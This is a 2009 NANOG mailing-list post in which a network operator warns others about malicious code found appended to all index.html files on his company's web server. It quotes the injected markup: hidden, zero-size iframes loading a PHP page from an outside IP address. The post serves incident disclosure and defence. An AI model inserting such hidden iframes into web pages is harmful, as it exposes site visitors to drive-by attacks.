[113624] in North American Network Operators' Group
RE: Malicious code just found on web server
daemon@ATHENA.MIT.EDU (Russell Berg)
Fri Apr 17 16:43:00 2009
From: Russell Berg <berg@wins.net>
To: "nanog@nanog.org" <nanog@nanog.org>
Date: Fri, 17 Apr 2009 15:42:45 -0500
Errors-To: nanog-bounces@nanog.org
FWIW, 77.92.158.122 resolves to mail.yarisfest.com, not mail.yaris.com
-----Original Message-----
From: Russell Berg=20
Sent: Friday, April 17, 2009 3:39 PM
To: 'nanog@nanog.org'
Subject: Malicious code just found on web server
We just discovered what we suspect is malicious code appended to all index.=
html files on our web server as of the 11:00 central time hour today:
=20
src=3D"http://77.92.158.122/webmail/inc/web/index.php"
style=3D"display: none;" height=3D"0" width=3D"0"></iframe> <iframe src=3D"=
http://77.92.158.122/webmail/inc/web/index.php"
style=3D"display: none;" height=3D"0" width=3D"0"></iframe> </body> </html>
IP address resolves to mail.yaris.com; couldn't find any A/V site reference=
s to this.
Google search reveals some Chinese sites with references to the URL today, =
but nothing substantial in the translation.
Just a heads up for folks; we have a team investigating...
Russell Berg
Dir - Product Development
Airstream Communications
berg@wins.net
715-832-3726
